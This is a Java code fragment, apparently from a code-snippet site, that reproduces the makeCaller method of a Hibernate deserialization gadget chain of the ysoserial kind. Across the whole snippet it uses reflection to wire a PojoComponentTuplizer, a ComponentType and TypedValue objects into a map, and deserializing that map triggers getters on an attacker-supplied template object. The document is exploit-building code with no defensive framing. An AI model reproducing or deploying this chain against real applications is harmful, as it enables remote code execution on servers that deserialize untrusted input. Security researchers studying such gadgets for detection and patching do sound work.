import org.hibernate.tuple.component.PojoComponentTuplizer; //导入依赖的package包/类
static Object makeCaller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
        InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
    PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
    Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);

    ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
    Reflections.setFieldValue(t, "componentTuplizer", tup);
    Reflections.setFieldValue(t, "propertySpan", 1);
    Reflections.setFieldValue(t, "propertyTypes", new Type[] {
        t
    });

    TypedValue v1 = new TypedValue(t, null);
    Reflections.setFieldValue(v1, "value", tpl);
    Reflections.setFieldValue(v1, "type", t);

    TypedValue v2 = new TypedValue(t, null);
    Reflections.setFieldValue(v2, "value", tpl);
    Reflections.setFieldValue(v2, "type", t);

    return Gadgets.makeMap(v1, v2);
}